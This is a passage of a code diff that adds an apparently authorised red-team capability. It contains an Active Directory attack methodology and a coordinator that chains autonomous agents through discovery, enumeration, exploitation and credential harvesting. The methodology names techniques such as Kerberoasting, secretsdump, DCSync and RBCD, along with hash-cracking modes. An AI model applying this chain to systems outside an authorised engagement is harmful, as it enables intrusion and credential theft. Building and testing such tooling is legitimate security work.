domain without first enumerating trust relationships. Blind cross-domain attacks waste time and create noise. Query trusts via netexec LDAP, SharpView, or bloodyAD before planning inter-domain attack paths. + +### 4. Verify scope at every step + +Check Rules of Engagement exclusions before targeting any host, account, or service. Out-of-scope accounts (e.g., vagrant, ansible) must never be targeted, even if they appear vulnerable. Re-verify scope when moving to new network segments or domains. + +### 5. Prefer reversible actions over destructive ones + +Avoid operations that lock accounts, change production passwords, or corrupt AD objects unless explicitly authorized. Prefer read-only enumeration and non-destructive exploitation paths. When password changes are necessary for exploitation (e.g., RBCD setup), use dedicated machine accounts you create rather than modifying existing ones. + +### 6. Track credential provenance + +Every credential must have a recorded origin: how it was obtained (Kerberoasting, AS-REP roast, secretsdump, share access, etc.), from which host, and what access it grants. This chain enables accurate attack path reconstruction and supports the report synthesizer. + +### 7. Validate hash type and format before cracking + +Do not submit hashes to cracking tools without confirming the hash type matches the cracking mode. NTLM hashes use mode 1000, Kerberos TGS uses 13100, AS-REP uses 18200. Mismatched modes waste time and produce false negatives. + +### 8. Report findings immediately upon discovery + +Use the `report_item` tool as soon as a finding is confirmed — do not batch findings for later. Immediate reporting ensures no data is lost if a stage times out and provides downstream stages with the freshest intelligence. + +## Confidence Levels + +Every reported finding must include a confidence assessment. + +| Level | Criteria | AD-Specific Examples | +|---|---|---| +| **Confirmed** | Full attack path executed, access verified | Credential cracked and authenticated, secretsdump completed, DA access verified | +| **Probable** | Strong indicators but verification incomplete | Hash cracked but auth not tested, delegation path identified but not exploited, ACL abuse path exists but not executed | +| **Suspected** | Pattern match or partial enumeration | SPN found but ticket not requested, potential Kerberoastable account, share accessible but contents not reviewed | + +### Severity Calibration + +| Impact | Severity | Example | +|---|---|---| +| Domain Admin / Enterprise Admin compromise | Critical | DCSync, Golden Ticket, forest trust abuse | +| Multiple host compromise or domain-wide credential access | High | NTDS dump, mass credential spray success, RBCD to server admin | +| Single host local admin or limited credential recovery | Medium | Single Kerberoasted service account, one share with sensitive data | +| Information disclosure without direct exploitation | Low | User list enumeration, password policy disclosure, SPN enumeration | + +## Anti-patterns + +| Anti-pattern | Example | Why it's wrong | +|---|---|---| +| Attack before enumerate | Running secretsdump on a host without verifying admin access | Wastes time, creates noise, may trigger alerts | +| Unverified credentials | Reporting "DA compromise" from a cracked hash without auth check | Hash may be expired, disabled, or wrong format | +| Ignoring trust boundaries | Attempting DCSync in child domain with parent domain creds | Trust direction matters — verify before acting | +| Scope violation | Targeting vagrant/ansible accounts despite RoE exclusion | Explicit methodology and ethics failure | +| Blind credential spray | Spraying without checking lockout policy | May lock accounts, violating reversibility rule | +| Premature secretsdump | Running secretsdump before confirming local admin | Command fails, alerts SOC, wastes step budget | +| Ignoring password policy | Spraying 50 passwords when lockout threshold is 5 | Account lockout is destructive and irreversible | +| Orphan hashes | Cracking hashes without recording type, source, or target | Useless for attack path reconstruction | +| Sequential single-target focus | Spending entire budget on one host when others are available | Miss easier paths; breadth before depth | +| Reporting raw output | Dumping tool output without structured reporting | Downstream stages cannot parse unstructured text | + +## Reporting Standards + +Reports must: +- Use `report_item` with the correct model type (DomainController, Credential, Hash, Weakness, etc.) +- Include credential provenance (source host, extraction method, verification status) +- State access level explicitly (local admin, domain user, DA, EA) +- Map weaknesses to specific misconfigurations (not "AD misconfiguration" but "unconstrained delegation on WEB01$") +- Separate confirmed access from suspected access +- Record attack paths as ordered sequences: initial access → escalation → objective diff --git a/capabilities/network-ops/tests/test_worker_coordinator.py b/capabilities/network-ops/tests/test_worker_coordinator.py new file mode 100644 index 0000000..f5a45f1 --- /dev/null +++ b/capabilities/network-ops/tests/test_worker_coordinator.py @@ -0,0 +1,301 @@ +from __future__ import annotations + +import importlib.util +import sys +import types +from pathlib import Path + + +def _load_coordinator(): + runtime = types.ModuleType("dreadnode.capabilities.worker") + + class Worker: + def __init__(self, name: str): + self.name = name + + def on_event(self, _event: str): + def decorator(func): + return func + + return decorator + + def run(self): + return None + + runtime.EventEnvelope = object + runtime.RuntimeClient = object + runtime.Worker = Worker + + sys.modules.setdefault("dreadnode", types.ModuleType("dreadnode")) + sys.modules.setdefault( + "dreadnode.capabilities", types.ModuleType("dreadnode.capabilities") + ) + sys.modules["dreadnode.capabilities.worker"] = runtime + + loguru = types.ModuleType("loguru") + + class _StubLogger: + def exception(self, *args, **kwargs): + pass + + loguru.logger = _StubLogger() + sys.modules.setdefault("loguru", loguru) + + path = Path(__file__).resolve().parents[1] / "workers" / "coordinator.py" + spec = importlib.util.spec_from_file_location("netops_worker_coordinator", path) + assert spec and spec.loader + module = importlib.util.module_from_spec(spec) + spec.loader.exec_module(module) + return module + + +# --- _normalize_scope_payload --- + + +def test_normalize_scope_payload_passes_through_optional_fields(): + coordinator = _load_coordinator() + scope = coordinator._normalize_scope_payload( + { + "target": "10.10.10.0/24", + "domain": "corp.local", + "credentials": {"username": "admin", "password": "pass"}, + "exclusions": ["vagrant", "ansible"], + "dc_ips": ["10.10.10.5"], + } + ) + assert scope["target"] == "10.10.10.0/24" + assert scope["domain"] == "corp.local" + assert scope["credentials"] == {"username": "admin", "password": "pass"} + assert scope["exclusions"] == ["vagrant", "ansible"] + assert scope["dc_ips"] == ["10.10.10.5"] + + +def test_normalize_scope_payload_drops_empty_values(): + coordinator = _load_coordinator() + scope = coordinator._normalize_scope_payload( + {"target": "10.10.10.0/24", "domain": "", "notes": None} + ) + assert "domain" not in scope + assert "notes" not in scope + + +def test_normalize_scope_payload_rejects_missing_target(): + coordinator = _load_coordinator() + try: + coordinator._normalize_scope_payload({}) + assert False, "Should have raised ValueError" + except ValueError: + pass + + +def test_normalize_scope_payload_rejects_whitespace_target(): + coordinator = _load_coordinator() + try: + coordinator._normalize_scope_payload({"target": " "}) + assert False, "Should have raised ValueError" + except ValueError: + pass + + +# --- _extract_findings --- + + +def test_extract_findings_keeps_credentials_hashes_weaknesses(): + coordinator = _load_coordinator() + findings = coordinator._extract_findings( + [ + {"name": "report_item", "arguments": {"item": {"text": "admin:pass", "type": "username_password"}}}, + {"name": "network_ops__report_item", "arguments": {"item": {"hash_value": "aabb", "hash_type": "ntlm"}}}, + {"name": "report_item", "arguments": {"item": {"title": "Weak ACL", "severity": "high"}}}, + ] + ) + assert len(findings) == 3 + assert findings[0]["id"] == "NETOPS-FINDING-001" + assert findings[2]["severity"] == "high" + + +def test_extract_findings_drops_enumeration_items(): + coordinator = _load_coordinator() + findings = coordinator._extract_findings( + [ + {"name": "report_item", "arguments": {"item": {"ip": "10.0.0.1"}}}, + {"name": "report_item", "arguments": {"item": {"username": "jsmith", "domain": "corp.local"}}}, + {"name": "report_item", "arguments": {"item": {"hash_value": "aabb", "hash_type": "ntlm"}}}, + ] + ) + assert len(findings) == 1 + assert findings[0]["hash_value"] == "aabb" + + +def test_extract_findings_survives_malformed_calls(): + coordinator = _load_coordinator() + findings = coordinator._extract_findings( + [ + None, + {"name": 123}, + {"name": "report_item"}, + {"name": "report_item", "arguments": "not a dict"}, + "not a dict at all", + ] + ) + assert len(findings) == 0 + + +def test_extract_findings_preserves_existing_id(): + coordinator = _load_coordinator() + findings = coordinator._extract_findings( + [{"name": "report_item", "arguments": {"item": {"id": "CUSTOM-001", "severity": "critical", "title": "x"}}}] + ) + assert findings[0]["id"] == "CUSTOM-001" + + +# --- _stage_budget --- + + +def test_stage_budget_clamps_to_cap(): + coordinator = _load_coordinator() + assert coordinator._stage_budget(240, 6) == 6 + + +def test_stage_budget_clamps_to_max_steps(): + coordinator = _load_coordinator() + assert coordinator._stage_budget(3, 10) == 3 + + +def test_stage_budget_floors_at_one(): + coordinator = _load_coordinator() + assert coordinator._stage_budget(0, 10) == 1 + + +# --- utilities --- + + +def test_truncate_cuts_and_marks(): + coordinator = _load_coordinator() + result = coordinator._truncate("a" * 200, 50) + assert result.startswith("a" * 50) + assert "truncated" in result + assert len(result) < 200 + + +def test_label_safe_sanitizes_special_chars(): + coordinator = _load_coordinator() + assert coordinator._label_safe("10.10.10.0/24") == "10.10.10.0_24" + + +def test_label_safe_caps_length_and_handles_empty(): + coordinator = _load_coordinator() + assert len(coordinator._label_safe("a" * 200)) == 120 + assert coordinator._label_safe("") == "unknown" + + +# --- stage guard --- + + +def test_worker_stage_guard_names_pipeline_tool(): + coordinator = _load_coordinator() + assert "run_netops_pipeline" in coordinator._worker_stage_guard() + + +# --- prompt data threading --- + + +def test_prompts_thread_prior_stage_reports_forward(): + """Each stage prompt must include reports from all prior stages.""" + coordinator = _load_coordinator() + + scope_prompt = coordinator._scope_prompt('{"target":"x"}', 6) + assert "target" in scope_prompt + + discovery_prompt = coordinator._discovery_prompt('{"target":"x"}', "SCOPE_OUT", 10) + assert "SCOPE_OUT" in discovery_prompt + + enum_prompt = coordinator._enumeration_prompt( + '{"target":"x"}', "SCOPE_OUT", "DISCO_OUT", 12 + ) + assert "SCOPE_OUT" in enum_prompt + assert "DISCO_OUT" in enum_prompt + + exploit_prompt = coordinator._exploit_prompt( + '{"target":"x"}', "SCOPE_OUT", "DISCO_OUT", "ENUM_OUT", 20 + ) + assert "ENUM_OUT" in exploit_prompt + + harvest_prompt = coordinator._harvest_prompt( + '{"target":"x"}', "SCOPE_OUT", "DISCO_OUT", "ENUM_OUT", "EXPLOIT_OUT", 10 + ) + assert "EXPLOIT_OUT" in harvest_prompt + + synthesis_prompt = coordinator._synthesis_prompt( + scope_context='{"target":"x"}', + scope_report="SCOPE_OUT", + discovery_report="DISCO_OUT", + enumeration_report="ENUM_OUT", + exploit_report="EXPLOIT_OUT", + harvest_report="HARVEST_OUT", + findings=[{"id": "F-001"}], + max_steps=6, + ) + assert "HARVEST_OUT" in synthesis_prompt + assert "F-001" in synthesis_prompt + + +# --- fallback synthesis --- + + +def test_fallback_synthesis_includes_all_stages(): + coordinator = _load_coordinator() + report = coordinator._fallback_synthesis_report( + scope_context='{"target": "10.0.0.0/24"}', + scope_report="SCOPE", + discovery_report="DISCO", + enumeration_report="ENUM", + exploit_report="EXPLOIT", + harvest_report="HARVEST", + findings=[], + ) + assert "# Network Operations Engagement Report" in report + for stage in ("SCOPE", "DISCO", "ENUM", "EXPLOIT", "HARVEST"): + assert stage in report + + +def test_fallback_synthesis_serializes_findings(): + coordinator = _load_coordinator() + report = coordinator._fallback_synthesis_report( + scope_context="{}", + scope_report="", + discovery_report="", + enumeration_report="", + exploit_report="", + harvest_report="", + findings=[{"id": "NETOPS-FINDING-001", "type": "Credential"}], + ) + assert "NETOPS-FINDING-001" in report + + +# --- naming conventions --- + + +def test_agent_constants_use_netops_prefix(): + coordinator = _load_coordinator() + for name in ( + coordinator.SCOPE_NORMALIZER, + coordinator.DISCOVERY_OPERATOR, + coordinator.AD_ENUMERATOR, + coordinator.EXPLOIT_OPERATOR, + coordinator.CREDENTIAL_HARVESTER, + coordinator.REPORT_SYNTHESIZER, + ): + assert name.startswith("netops-"), name + + +def test_event_constants_use_netops_prefix(): + coordinator = _load_coordinator() + for event in ( + coordinator.REQUEST_EVENT, + coordinator.PROGRESS_EVENT, + coordinator.REPORT_READY_EVENT, + coordinator.COMPLETED_EVENT, + coordinator.FAILED_EVENT, + ): + assert event.startswith("netops."), event diff --git a/capabilities/network-ops/tools/pipeline.py b/capabilities/network-ops/tools/pipeline.py new file mode 100644 index 0000000..9d75c89 --- /dev/null +++ b/capabilities/network-ops/tools/pipeline.py @@ -0,0 +1,387 @@ +"""Agent-facing launcher for the worker-coordinated network operations pipeline.""" + +from __future__ import annotations + +import asyncio +import importlib.util +import json +import os +from pathlib import Path +import sys +import types +import typing as t +from uuid import uuid4 + +from dreadnode.agents.tools import Toolset, tool_method +from dreadnode.app.client.runtime_client import RuntimeClient + +REQUEST_EVENT = "netops.engagement.requested" +PROGRESS_EVENT = "netops.engagement.progress" +REPORT_READY_EVENT = "netops.engagement.report.ready" +COMPLETED_EVENT = "netops.engagement.completed" +FAILED_EVENT = "netops.engagement.failed" + +WATCH_KINDS: tuple[str, ...] = ( + PROGRESS_EVENT, + REPORT_READY_EVENT, + COMPLETED_EVENT, + FAILED_EVENT, +) + +LOCAL_RUNTIME_CANDIDATES: tuple[str, ...] = ( + "http://127.0.0.1:8787", + "http://localhost:8787", +) + + +def _truncate(text: str, limit: int) -> str: + return ( + text + if len(text) <= limit + else text[:limit] + f"\n... truncated ({len(text)} chars total) ..." + ) + + +class NetopsPipelineTools(Toolset): + """Launch and monitor the multi-agent network operations worker pipeline.""" + + default_timeout: int = 600 + """Maximum wall-clock seconds to wait for the worker pipeline.""" + + max_output_chars: int = 12_000 + """Maximum characters returned to the calling agent.""" + + @tool_method(name="run_netops_pipeline", catch=True) + async def run_pipeline( + self, + target: t.Annotated[ + str, + "Primary target — network range (e.g. '10.10.10.0/24') or domain name.", + ], + domain: t.Annotated[ + str | None, + "AD domain name (e.g. 'corp.local').", + ] = None, + credentials: t.Annotated[ + dict[str, str] | str | None, + "Initial credentials as {username, password} or {username, hash}, or a descriptive string.", + ] = None, + network_ranges: t.Annotated[ + list[str] | str | None, + "Additional network ranges to scan beyond the primary target.", + ] = None, + dc_ips: t.Annotated[ + list[str] | str | None, + "Known domain controller IP addresses.", + ] = None, + exclusions: t.Annotated[ + list[str] | str | None, + "Out-of-scope accounts, hosts, or networks.", + ] = None, + rules_of_engagement: t.Annotated[ + str | None, + "Additional rules of engagement or constraints.", + ] = None, + model: t.Annotated[ + str | None, + "Optional model id for worker agents.", + ] = None, + max_steps: t.Annotated[ + int, "Maximum autonomous steps across all pipeline stages." + ] = 240, + timeout: t.Annotated[ + int | None, + "Maximum wall-clock seconds to wait for the full pipeline.", + ] = None, + ) -> str: + """Run the worker-coordinated network operations pipeline and return its final report. + + This publishes a `netops.engagement.requested` runtime event and waits + for the coordinator worker to complete the staged pipeline: scope + normalization, network discovery, AD enumeration, exploitation, + credential harvesting, and report synthesis. + """ + runtime_token = os.environ.get("DREADNODE_RUNTIME_TOKEN") + run_id = str(uuid4()) + requested_timeout = int(timeout or self.default_timeout) + timeout_seconds = max(60, min(requested_timeout, self.default_timeout)) + progress: list[str] = [] + + payload: dict[str, t.Any] = { + "run_id": run_id, + "target": target, + "max_steps": int(max_steps), + } + if domain: + payload["domain"] = domain + if credentials: + if isinstance(credentials, str): + payload["notes"] = credentials + else: + payload["credentials"] = credentials + if network_ranges: + payload["network_ranges"] = _coerce_string_list(network_ranges) + if dc_ips: + payload["dc_ips"] = _coerce_string_list(dc_ips) + if exclusions: + payload["exclusions"] = _coerce_string_list(exclusions) + if rules_of_engagement: + payload["rules_of_engagement"] = rules_of_engagement + if model: + payload["model"] = model + + final_report = await self._run_with_runtime_candidates( + payload=payload, + run_id=run_id, + progress=progress, + runtime_token=runtime_token, + timeout_seconds=timeout_seconds, + ) + + result = { + "run_id": run_id, + "mode": "worker_coordinated_netops_pipeline", + "progress": progress, + "final_report": final_report, + } + return _truncate( + json.dumps(result, indent=2, default=str), self.max_output_chars + ) + + async def _run_with_runtime_candidates( + self, + *, + payload: dict[str, t.Any], + run_id: str, + progress: list[str], + runtime_token: str | None, + timeout_seconds: int, + ) -> str: + """Try runtime candidates in order: direct in-process first, then event-based.""" + explicit_url = os.environ.get("DREADNODE_RUNTIME_URL") + candidates = ( + [explicit_url] if explicit_url else list(LOCAL_RUNTIME_CANDIDATES) + ) + errors: list[str] = [] + + for runtime_url in candidates: + if not runtime_url: + continue + client = RuntimeClient( + server_url=runtime_url.rstrip("/"), + auth_token=runtime_token, + ) + try: + _patch_websockets_proxy_compat() + await asyncio.wait_for(client.start(), timeout=15) + if not explicit_url: + return await asyncio.wait_for( + self._run_direct_coordinator_pipeline( + client=client, + payload=payload, + run_id=run_id, + ), + timeout=timeout_seconds, + ) + await asyncio.wait_for( + client.publish(REQUEST_EVENT, payload), timeout=15 + ) + try: + return await asyncio.wait_for( + self._watch_run(client, run_id, progress), + timeout=timeout_seconds, + ) + except RuntimeError as exc: + message = str(exc) + if "event stream is unavailable" in message.lower(): + progress.append( + "worker_request_published: runtime transport does " + "not expose event streaming to tools" + ) + return ( + "Network ops pipeline request was published, but " + "this tool transport cannot stream worker events. " + "Continue with direct tools while pipeline sessions " + f"run under run_id {run_id}." + ) + raise + except Exception as exc: + errors.append(f"{runtime_url}: {type(exc).__name__}: {exc}") + finally: + try: + await client.close() + except Exception: + pass + + detail = ( + "; ".join(errors) if errors else "no runtime candidates available" + ) + raise RuntimeError( + "Network ops pipeline could not connect to the runtime event bus. " + f"Tried {candidates}. Errors: {detail}" + ) + + async def _run_direct_coordinator_pipeline( + self, + *, + client: RuntimeClient, + payload: dict[str, t.Any], + run_id: str, + ) -> str: + coordinator = _load_coordinator_module() + scope = coordinator._normalize_scope_payload(payload) + return await coordinator._run_pipeline( + client, + run_id=run_id, + scope=scope, + model=payload.get("model"), + max_steps=int(payload.get("max_steps") or 240), + ) + + async def _watch_run( + self, + client: RuntimeClient, + run_id: str, + progress: list[str], + ) -> str: + async for event in client.subscribe(*WATCH_KINDS): + payload = ( + event.payload if isinstance(event.payload, dict) else {} + ) + if payload.get("run_id") != run_id: + continue + + if event.kind == PROGRESS_EVENT: + stage = str(payload.get("stage") or "unknown") + detail = str(payload.get("detail") or "") + progress.append(f"{stage}: {detail}".rstrip(": ")) + continue + if event.kind == REPORT_READY_EVENT: + progress.append(f"report_ready: {payload.get('agent')}") + continue + if event.kind == FAILED_EVENT: + raise RuntimeError( + str( + payload.get("error") + or "Network ops pipeline failed" + ) + ) + if event.kind == COMPLETED_EVENT: + return str(payload.get("final_report") or "") + raise RuntimeError( + "Runtime event stream ended before pipeline completed" + ) + + +def _coerce_string_list(value: t.Any) -> list[str]: + """Normalize *value* to a flat list of non-empty strings. + + Accepts ``None``, a plain list, a JSON-encoded list string, or a + comma-separated string. + """ + if value is None: + return [] + if isinstance(value, list): + return [str(item).strip() for item in value if str(item).strip()] + if isinstance(value, str): + stripped = value.strip() + if not stripped: + return [] + try: + parsed = json.loads(stripped) + except Exception: + parsed = None + if isinstance(parsed, list): + return [ + str(item).strip() for item in parsed if str(item).strip() + ] + return [item.strip() for item in stripped.split(",") if item.strip()] + return [str(value).strip()] + + +def _load_coordinator_module() -> t.Any: + """Import the coordinator worker module with stubbed runtime dependencies. + + The coordinator imports ``dreadnode.capabilities.worker`` and ``loguru`` + which may not be installed in the tool process. This loader injects + lightweight stubs so the module can be imported and its pure-Python + pipeline functions called directly. + """ + _patch_websockets_proxy_compat() + path = Path(__file__).resolve().parents[1] / "workers" / "coordinator.py" + spec = importlib.util.spec_from_file_location( + "netops_worker_coordinator_direct", path + ) + if spec is None or spec.loader is None: + raise RuntimeError( + f"Unable to load network-ops coordinator from {path}" + ) + + worker_module = types.ModuleType("dreadnode.capabilities.worker") + + class Worker: + def __init__(self, name: str): + self.name = name + + def on_event(self, _event: str): + def decorator(func: t.Any) -> t.Any: + return func + + return decorator + + def run(self) -> None: + return None + + worker_module.EventEnvelope = object # type: ignore[attr-defined] + worker_module.RuntimeClient = object # type: ignore[attr-defined] + worker_module.Worker = Worker # type: ignore[attr-defined] + previous_worker_module = sys.modules.get("dreadnode.capabilities.worker") + sys.modules["dreadnode.capabilities.worker"] = worker_module + + # Stub loguru so the coordinator can be imported without the package. + if "loguru" not in sys.modules: + loguru_module = types.ModuleType("loguru") + + class _StubLogger: + def __getattr__(self, _name: str) -> t.Any: + return lambda *_a, **_kw: None + + loguru_module.logger = _StubLogger() # type: ignore[attr-defined] + sys.modules["loguru"] = loguru_module + + module = importlib.util.module_from_spec(spec) + try: + spec.loader.exec_module(module) + return module + finally: + if previous_worker_module is None: + sys.modules.pop("dreadnode.capabilities.worker", None) + else: + sys.modules["dreadnode.capabilities.worker"] = ( + previous_worker_module + ) + + +def _patch_websockets_proxy_compat() -> None: + try: + import websockets.uri as websockets_uri + except Exception: + return + if not hasattr(websockets_uri, "Proxy"): + + class Proxy: + pass + + websockets_uri.Proxy = Proxy # type: ignore[attr-defined] + if not hasattr(websockets_uri, "get_proxy"): + + def get_proxy(_uri: t.Any) -> None: + return None + + websockets_uri.get_proxy = get_proxy # type: ignore[attr-defined] + if not hasattr(websockets_uri, "parse_proxy"): + + def parse_proxy(_proxy: t.Any) -> None: + return None + + websockets_uri.parse_proxy = parse_proxy # type: ignore[attr-defined] diff --git a/capabilities/network-ops/workers/coordinator.py b/capabilities/network-ops/workers/coordinator.py new file mode 100644 index 0000000..6fdb7f4 --- /dev/null +++ b/capabilities/network-ops/workers/coordinator.py @@ -0,0 +1,696 @@ +"""Multi-agent network operations pipeline coordinator. + +Subscribes to ``netops.engagement.requested`` and runs a progressive +AD exploitation pipeline: + + scope normalization + │ + ▼ + network discovery + │ + ▼ + AD enumeration + │ + ▼ + exploitation (initial access + privilege escalation) + │ + ▼ + credential harvesting + │ + ▼ + report synthesis + +The existing ``netops-operator`` remains available for single-agent runs. +This worker is an additive path for long-horizon engagements where each +phase should be handled by a specialized agent. +""" + +from __future__ import annotations + +import asyncio +import contextlib +import json +import re +import typing as t +from uuid import uuid4 + +from dreadnode.capabilities.worker import EventEnvelope, RuntimeClient, Worker +from loguru import logger + +CAPABILITY_NAME = "network-ops" + +REQUEST_EVENT = "netops.engagement.requested" +PROGRESS_EVENT = "netops.engagement.progress" +REPORT_READY_EVENT = "netops.engagement.report.ready" +COMPLETED_EVENT = "netops.engagement.completed" +FAILED_EVENT = "netops.engagement.failed" + +SCOPE_NORMALIZER = "netops-scope-normalizer" +DISCOVERY_OPERATOR = "netops-discovery-operator" +AD_ENUMERATOR = "netops-ad-enumerator" +EXPLOIT_OPERATOR = "netops-exploit-operator" +CREDENTIAL_HARVESTER = "netops-credential-harvester" +REPORT_SYNTHESIZER = "netops-report-synthesizer" + +REPORT_ITEM_TOOL = "report_item" + +DEFAULT_MAX_STEPS = 240 +REPORT_TRUNCATE_CHARS = 24_000 +AGENT_TURN_TIMEOUT_SECONDS = 300 +MAX_TOOL_CALLS_IN_SUMMARY = 12 +_TIMEOUT_SENTINEL = "[NETOPS_STAGE_TIMEOUT]" + +worker = Worker(name="coordinator") + + +@worker.on_event(REQUEST_EVENT) +async def run_engagement(event: EventEnvelope, client: RuntimeClient) -> None: + """Run one network operations engagement pipeline end to end.""" + payload = event.payload or {} + run_id = str(payload.get("run_id") or uuid4()) + model = payload.get("model") or None + max_steps = int(payload.get("max_steps") or DEFAULT_MAX_STEPS) + + try: + scope = _normalize_scope_payload(payload) + except ValueError as exc: + await client.publish( + FAILED_EVENT, + {"run_id": run_id, "error": str(exc), "payload_keys": sorted(payload)}, + ) + return + + try: + final_report = await _run_pipeline( + client, + run_id=run_id, + scope=scope, + model=model, + max_steps=max_steps, + ) + except Exception as exc: + logger.exception("Network ops engagement failed | run_id={}", run_id) + await client.publish( + FAILED_EVENT, + { + "run_id": run_id, + "target": scope["target"], + "error": f"{type(exc).__name__}: {exc}", + }, + ) + return + + await client.publish( + COMPLETED_EVENT, + {"run_id": run_id, "target": scope["target"], "final_report": final_report}, + ) + + +async def _run_pipeline( + client: RuntimeClient, + *, + run_id: str, + scope: dict[str, t.Any], + model: str | None, + max_steps: int, +) -> str: + target = str(scope["target"]) + scope_context = _render_scope_context(scope) + scope_steps = _stage_budget(max_steps, 6) + discovery_steps = _stage_budget(max_steps, 30) + enumeration_steps = _stage_budget(max_steps, 40) + exploit_steps = _stage_budget(max_steps, 50) + harvest_steps = _stage_budget(max_steps, 30) + synthesis_steps = _stage_budget(max_steps, 10) + + # --- Stage 1: Scope Normalization --- + await _publish_progress(client, run_id, "scope_started") + scope_report, _ = await _run_agent_turn( + client, + run_id=run_id, + target=target, + agent=SCOPE_NORMALIZER, + model=model, + max_steps=scope_steps, + prompt=_scope_prompt(scope_context, scope_steps), + ) + await _publish_report(client, run_id, target, SCOPE_NORMALIZER, scope_report) + + # --- Stage 2: Network Discovery --- + await _publish_progress(client, run_id, "discovery_started") + discovery_report, _ = await _run_agent_turn( + client, + run_id=run_id, + target=target, + agent=DISCOVERY_OPERATOR, + model=model, + max_steps=discovery_steps, + prompt=_discovery_prompt(scope_context, scope_report, discovery_steps), + ) + await _publish_report(client, run_id, target, DISCOVERY_OPERATOR, discovery_report) + + # --- Stage 3: AD Enumeration --- + await _publish_progress(client, run_id, "enumeration_started") + enumeration_report, _ = await _run_agent_turn( + client, + run_id=run_id, + target=target, + agent=AD_ENUMERATOR, + model=model, + max_steps=enumeration_steps, + prompt=_enumeration_prompt( + scope_context, scope_report, discovery_report, enumeration_steps + ), + ) + await _publish_report(client, run_id, target, AD_ENUMERATOR, enumeration_report) + + # --- Stage 4: Exploitation --- + await _publish_progress(client, run_id, "exploitation_started") + exploit_report, exploit_tool_calls = await _run_agent_turn( + client, + run_id=run_id, + target=target, + agent=EXPLOIT_OPERATOR, + model=model, + max_steps=exploit_steps, + prompt=_exploit_prompt( + scope_context, + scope_report, + discovery_report, + enumeration_report, + exploit_steps, + ), + ) + await _publish_report(client, run_id, target, EXPLOIT_OPERATOR, exploit_report) + + # --- Stage 5: Credential Harvesting --- + await _publish_progress(client, run_id, "harvesting_started") + harvest_report, harvest_tool_calls = await _run_agent_turn( + client, + run_id=run_id, + target=target, + agent=CREDENTIAL_HARVESTER, + model=model, + max_steps=harvest_steps, + prompt=_harvest_prompt( + scope_context, + scope_report, + discovery_report, + enumeration_report, + exploit_report, + harvest_steps, + ), + ) + await _publish_report( + client, run_id, target, CREDENTIAL_HARVESTER, harvest_report + ) + + # --- Stage 6: Report Synthesis --- + await _publish_progress(client, run_id, "report_synthesis_started") + + all_tool_calls = exploit_tool_calls + harvest_tool_calls + findings = _extract_findings(all_tool_calls) + + synthesis_report, _ = await _run_agent_turn( + client, + run_id=run_id, + target=target, + agent=REPORT_SYNTHESIZER, + model=model, + max_steps=synthesis_steps, + prompt=_synthesis_prompt( + scope_context=scope_context, + scope_report=scope_report, + discovery_report=discovery_report, + enumeration_report=enumeration_report, + exploit_report=exploit_report, + harvest_report=harvest_report, + findings=findings, + max_steps=synthesis_steps, + ), + ) + + if not synthesis_report or _TIMEOUT_SENTINEL in synthesis_report: + synthesis_report = _fallback_synthesis_report( + scope_context=scope_context, + scope_report=scope_report, + discovery_report=discovery_report, + enumeration_report=enumeration_report, + exploit_report=exploit_report, + harvest_report=harvest_report, + findings=findings, + ) + + await _publish_report( + client, run_id, target, REPORT_SYNTHESIZER, synthesis_report + ) + + return synthesis_report + + +# --------------------------------------------------------------------------- +# Agent turn execution +# --------------------------------------------------------------------------- + + +async def _run_agent_turn( + client: RuntimeClient, + *, + run_id: str, + target: str, + agent: str, + model: str | None, + max_steps: int, + prompt: str, + extra_labels: dict[str, str] | None = None, +) -> tuple[str, list[dict[str, t.Any]]]: + """Run a single agent turn and return ``(response_text, tool_calls)``. + + If the agent produces tool calls but no response text, a second + synthesis turn is attempted. If that also times out, tool calls are + compacted into a text summary so downstream stages still have evidence. + """ + labels: dict[str, list[str]] = { + "netops_run": [run_id], + "target": [_label_safe(target)], + "agent_role": [agent], + } + if extra_labels: + labels.update( + {key: [_label_safe(value)] for key, value in extra_labels.items()} + ) + + session = await client.create_session( + capability=CAPABILITY_NAME, + agent=agent, + model=model, + policy={"name": "headless", "max_steps": max_steps}, + labels=labels, + ) + await client.set_session_title( + session.session_id, f"netops {run_id[:8]} · {agent}" + ) + try: + result = await asyncio.wait_for( + client.run_turn( + session_id=session.session_id, + message=prompt, + agent=agent, + model=model, + reset=True, + ), + timeout=AGENT_TURN_TIMEOUT_SECONDS, + ) + except asyncio.TimeoutError: + with contextlib.suppress(Exception): + await client.cancel_session(session.session_id) + return ( + f"{_TIMEOUT_SENTINEL} {agent} timed out after " + f"{AGENT_TURN_TIMEOUT_SECONDS}s. Treat this stage as incomplete " + "and continue with the evidence already available.", + [], + ) + + response_text = str(result.get("response_text") or "").strip() + tool_calls = result.get("tool_calls") or [] + if not isinstance(tool_calls, list): + tool_calls = [] + + if tool_calls and not response_text: + try: + synthesis_result = await asyncio.wait_for( + client.run_turn( + session_id=session.session_id, + message=( + "Synthesize this stage now using the evidence already " + "gathered. Return concise findings, credentials, access " + "gained, and next steps. Do not end with an intention " + "to continue." + ), + agent=agent, + model=model, + reset=False, + ), + timeout=AGENT_TURN_TIMEOUT_SECONDS, + ) + response_text = str( + synthesis_result.get("response_text") or "" + ).strip() + synthesis_tool_calls = synthesis_result.get("tool_calls") or [] + if isinstance(synthesis_tool_calls, list): + tool_calls.extend(synthesis_tool_calls) + except asyncio.TimeoutError: + with contextlib.suppress(Exception): + await client.cancel_session(session.session_id) + response_text = ( + f"{_TIMEOUT_SENTINEL} {agent} gathered tool evidence but " + f"timed out while synthesizing it.\n\n" + f"{_compact_tool_call_summary(tool_calls)}" + ) + + if tool_calls and not response_text: + response_text = _compact_tool_call_summary(tool_calls) + + return response_text, tool_calls + + +# --------------------------------------------------------------------------- +# Scope handling +# --------------------------------------------------------------------------- + + +def _normalize_scope_payload(payload: dict[str, t.Any]) -> dict[str, t.Any]: + """Validate and extract scope fields from the event payload.""" + target = str(payload.get("target") or "").strip() + if not target: + raise ValueError("missing required target") + + scope: dict[str, t.Any] = {"target": target} + + for key in ( + "network_ranges", + "domain", + "domains", + "credentials", + "initial_credentials", + "exclusions", + "rules_of_engagement", + "notes", + "dc_ips", + "max_runtime_seconds", + ): + if key in payload and payload[key] not in (None, ""): + scope[key] = payload[key] + + return scope + + +# --------------------------------------------------------------------------- +# Finding extraction +# --------------------------------------------------------------------------- + + +_HIGH_VALUE_FIELDS: frozenset[str] = frozenset({ + # Credential model fields + "text", + # Hash model fields + "hash_value", + # Weakness model fields + "severity", +}) + + +def _extract_findings( + tool_calls: list[dict[str, t.Any]], +) -> list[dict[str, t.Any]]: + """Extract high-value report_item calls (credentials, hashes, weaknesses). + + Enumeration items (targets, users, shares, 